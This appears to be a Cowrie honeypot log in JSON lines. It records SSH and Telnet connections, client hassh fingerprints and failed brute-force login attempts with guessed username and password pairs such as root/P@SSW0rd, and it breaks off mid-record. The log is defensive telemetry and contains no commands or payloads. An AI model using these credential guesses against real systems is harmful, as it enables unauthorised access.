{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:04:17.421764Z","src_ip":"59.17.95.129","session":"d2dabe5be1c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aurora","password":"aurora","message":"login attempt [aurora/aurora] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:04:18.263506Z","src_ip":"59.17.95.129","session":"d2dabe5be1c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:04:19.469785Z","src_ip":"59.17.95.129","session":"d2dabe5be1c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.22.143","src_port":35638,"dst_ip":"10.17.0.5","dst_port":22,"session":"a8860e2d74e6","protocol":"ssh","message":"New connection: 43.153.22.143:35638 (10.17.0.5:22) [session: a8860e2d74e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:04:21.605251Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:04:21.610160Z","src_ip":"43.153.22.143","session":"a8860e2d74e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:04:21.677802Z","src_ip":"43.153.22.143","session":"a8860e2d74e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"morita","message":"login attempt [root/morita] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:04:21.980326Z","src_ip":"43.153.22.143","session":"a8860e2d74e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:04:23.050100Z","src_ip":"43.153.22.143","session":"a8860e2d74e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50586,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc039dc13fbd","protocol":"telnet","message":"New connection: 152.42.224.71:50586 (10.17.0.5:23) [session: cc039dc13fbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:04:26.985790Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50590,"dst_ip":"10.17.0.5","dst_port":23,"session":"fcc707539f15","protocol":"telnet","message":"New connection: 152.42.224.71:50590 (10.17.0.5:23) [session: fcc707539f15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:04:27.998317Z"}
{"eventid":"cowrie.session.closed","duration":38.43544960021973,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:04:28.125824Z","src_ip":"152.42.224.71","session":"7b30807e9231","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50594,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad13b0e2c6cf","protocol":"telnet","message":"New connection: 152.42.224.71:50594 (10.17.0.5:23) [session: ad13b0e2c6cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:04:33.943203Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.124.153","src_port":40054,"dst_ip":"10.17.0.5","dst_port":22,"session":"072e9492af8b","protocol":"ssh","message":"New connection: 43.153.124.153:40054 (10.17.0.5:22) [session: 072e9492af8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:04:40.473398Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:04:40.478129Z","src_ip":"43.153.124.153","session":"072e9492af8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:04:40.549512Z","src_ip":"43.153.124.153","session":"072e9492af8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"poop","message":"login attempt [root/poop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:04:40.860794Z","src_ip":"43.153.124.153","session":"072e9492af8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:04:41.933768Z","src_ip":"43.153.124.153","session":"072e9492af8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51042,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa839e2c33e2","protocol":"telnet","message":"New connection: 152.42.224.71:51042 (10.17.0.5:23) [session: fa839e2c33e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:04:53.458969Z"}
{"eventid":"cowrie.session.closed","duration":28.72927188873291,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:04:56.727468Z","src_ip":"152.42.224.71","session":"fcc707539f15","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.104005813598633,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:04:57.089676Z","src_ip":"152.42.224.71","session":"cc039dc13fbd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57798,"dst_ip":"10.17.0.5","dst_port":23,"session":"81640d20abb0","protocol":"telnet","message":"New connection: 152.42.224.71:57798 (10.17.0.5:23) [session: 81640d20abb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:05:01.340950Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.69.201","src_port":47984,"dst_ip":"10.17.0.5","dst_port":22,"session":"981c81ff7d28","protocol":"ssh","message":"New connection: 43.153.69.201:47984 (10.17.0.5:22) [session: 981c81ff7d28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:05:02.725978Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:05:02.732533Z","src_ip":"43.153.69.201","session":"981c81ff7d28","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:05:02.803282Z","src_ip":"43.153.69.201","session":"981c81ff7d28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"luan123","message":"login attempt [root/luan123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:05:03.108377Z","src_ip":"43.153.69.201","session":"981c81ff7d28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.93782663345337,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:05:03.519106Z","src_ip":"152.42.224.71","session":"0632412392a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:05:04.185403Z","src_ip":"43.153.69.201","session":"981c81ff7d28","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.119.118","src_port":53724,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e53384d4972","protocol":"ssh","message":"New connection: 170.106.119.118:53724 (10.17.0.5:22) [session: 5e53384d4972]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:05:06.665243Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:05:06.670669Z","src_ip":"170.106.119.118","session":"5e53384d4972","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:05:06.740300Z","src_ip":"170.106.119.118","session":"5e53384d4972","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"126.com","message":"login attempt [root/126.com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:05:07.048557Z","src_ip":"170.106.119.118","session":"5e53384d4972","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:05:08.126229Z","src_ip":"170.106.119.118","session":"5e53384d4972","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00337815284729,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:05:10.116485Z","src_ip":"152.42.224.71","session":"c307609408d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.159.169.93","src_port":34292,"dst_ip":"159.203.135.109","dst_port":22,"session":"a3003dba225b","protocol":"ssh","message":"New connection: 43.159.169.93:34292 (159.203.135.109:22) [session: a3003dba225b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:05:11.714986Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:05:11.720424Z","src_ip":"43.159.169.93","session":"a3003dba225b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:05:11.790226Z","src_ip":"43.159.169.93","session":"a3003dba225b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devuser","password":"devuser","message":"login attempt [devuser/devuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:05:12.097030Z","src_ip":"43.159.169.93","session":"a3003dba225b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:05:13.173200Z","src_ip":"43.159.169.93","session":"a3003dba225b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.83.13.181","src_port":41588,"dst_ip":"159.203.135.109","dst_port":22,"session":"09fd03e07b8f","protocol":"ssh","message":"New connection: 154.83.13.181:41588 (159.203.135.109:22) [session: 09fd03e07b8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:05:13.756778Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:05:13.762700Z","src_ip":"154.83.13.181","session":"09fd03e07b8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33814,"dst_ip":"10.17.0.5","dst_port":23,"session":"4463d8c866f6","protocol":"telnet","message":"New connection: 152.42.224.71:33814 (10.17.0.5:23) [session: 4463d8c866f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:05:14.704711Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:05:15.391422Z","src_ip":"154.83.13.181","session":"09fd03e07b8f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@SSW0rd","message":"login attempt [root/P@SSW0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:05:16.019817Z","src_ip":"154.83.13.181","session":"09fd03e07b8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:05:17.237236Z","src_ip":"154.83.13.181","session":"09fd03e07b8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"197.248.104.31","src_port":53592,"dst_ip":"10.17.0.5","dst_port":22,"session":"8e3a87c54bb9","protocol":"ssh","message":"New connection: 197.248.104.31:53592 (10.17.0.5:22) [session: 8e3a87c54bb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:05:18.551573Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:05:18.557024Z","src_ip":"197.248.104.31","session":"8e3a87c54bb9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 